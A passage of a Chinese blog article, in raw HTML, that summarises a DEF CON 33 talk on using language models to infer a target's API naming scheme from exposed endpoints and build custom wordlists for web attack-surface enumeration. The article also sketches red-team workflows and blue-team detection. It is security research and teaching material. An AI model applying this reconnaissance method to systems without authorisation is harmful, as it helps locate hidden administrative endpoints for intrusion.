4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">先插一句：原报告里存在拼写不一致，第 32、35、38 页截图用 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">User_*</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，第 34、37 页文字和作者研究网站用 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr_*</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。本文讲语法时沿用作��网站的 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，解读截图时保留画面里的 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">User</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。</span></span></p><p cid="n436" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">通用字典认识 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">user/create</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，但未必认识这套&#34;实体缩写 + 下划线 + 动作三字母缩写&#34;的内部方言。</span></span></p><p cid="n437" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">更要命的是，同一套系统里删除接口可能不叫 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr_del</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，也不叫 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr_dlt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，而叫：</span></span></p><p cid="n438" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/api/Usr_rmv</span></code></span></p><p cid="n439" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这就是 DEF CON 33 Recon Village 上那份 105 页报告《enumeraite: AI-Assisted Web Attack Surface Enumeration》想解决的问题。</span></span></p><p cid="n440" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">它没让 AI 直接扫描，也没让模型自动找漏洞。研究者做的事更像是：</span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf="" data-nest-level="6">把目标已经暴露出来的几个名字丢给模型，让它根据这些种子临时归纳命名规律，再给目标编一份专属字典。</span></span></strong></span></p><p cid="n441" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">不是每遇到一个目标就重新训练模型。前面 Apple LSTM、nanoGPT 属于目标专用训练实验；后面 0x0、0x1 两种模式则是在全局训练分布上，把目标种子放进 prompt 做条件化生成。</span></span></p><p cid="n442" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/s9j05q.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="DEF CON 33 enumeraite 原版议题页" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000412" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=e9ef828e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMD55UA22ice9KNruHPVIScgziasicpPbibYXYegg0xpvoS2icWw5apQOrCPqswIq6ibAVY1k8Ag53cfNFPcEDzYsfFVibKcjqSAyKPbNs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n443" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这思路听起来容易像 AI 营销话术。但这份材料最值得看的地方，恰恰是作者一上来就给自己踩了刹车：这不是&#34;模型越大越牛&#34;，不是 AI 自动渗透演示，也不只是再卖一款 Recon 工具。</span></span></p><p cid="n444" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/n5xv8w.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="报告第 3 页对研究边界的说明" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000409" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=fedc922a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMABOZ8079E07ic3omc5DIUdfoIiaYpudeic9vpqJuv1sJKUicKOGjS7icuH9akUkUWjUibvexyu5EGX2vVClbZtE7YZkz1iaicuz9HpeFw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n445" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这篇文章就按 105 页幻灯片的顺序拆。先说字典为什么失效，再看那个作者声称命中管理功能的接口案例，然后把 LSTM、nanoGPT、GPT-2、Qwen3-4B 四段实验讲明白，最后落到护网里真正能用的工作流和蓝队检测。</span></span></p><p cid="n446" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">整份报告翻完，我最大的感受是：</span></span></p><blockquote style="box-sizing: border-box;margin: 0.8em 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(119, 119, 119);caret-color: rgb(0, 122, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><p cid="n448" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px;white-space: pre-wrap;" data-nest-level="3"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="4"><strong style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">AI 在这儿最合适的角色，不是扫描器，也不是漏洞验证器，而是&#34;目标专属字典编译器&#34;。</span></span></strong></span></p></blockquote><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><h2 cid="n450" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">105 页到底讲了什么</span></span></h2><p cid="n451" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这份 PPT 动画页很多，真正的主线可以合成六段：</span></span></p><figure cid="n452" mdtype="table" style="box-sizing: border-box;margin: 1.2em 0px;overflow-x: auto;padding: 0px;cursor: default;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 800px;overflow: auto;break-inside: auto;text-align: left;cursor: text;margin: 0px;padding: 0px;word-break: initial;white-space: pre-wrap;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;"><span cid="n454" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 81.171875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">页码</span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;"><span cid="n455" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 262.71875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">内容</span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;"><span cid="n456" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 374.125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">要回答的问题</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n458" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 81.171875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">1—4</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n459" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 262.71875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">议题边界与目录</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n460" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 374.125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">AI 在这项研究里负责什么、不负责什么</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n462" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 81.171875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">5—28</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n463" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 262.71875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">Web 攻击面与传统枚举困境</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n464" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 374.125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">为什么更大的字典仍然看不到目标专属资产</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n466" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 81.171875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">29—38</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n467" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 262.71875px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf="" data-nest-level="10">/api/User_crt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9"> / </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf="" data-nest-level="10">Usr_crt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9"> 案例</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n468" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 374.125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">一个已知接口如何暴露整套命名语法</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n470" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 81.171875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">39—72</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n471" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 262.71875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">从 LSTM 到 Qwen3-4B</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n472" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 374.125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">模型到底学了什么，又在哪些地方失败</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n474" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 81.171875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">73—99</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n475" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 262.71875px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">四种枚举模式</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n476" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 374.125px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf="" data-nest-level="9">路径、子域、结构槽位和语义接口怎么生成候选</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: 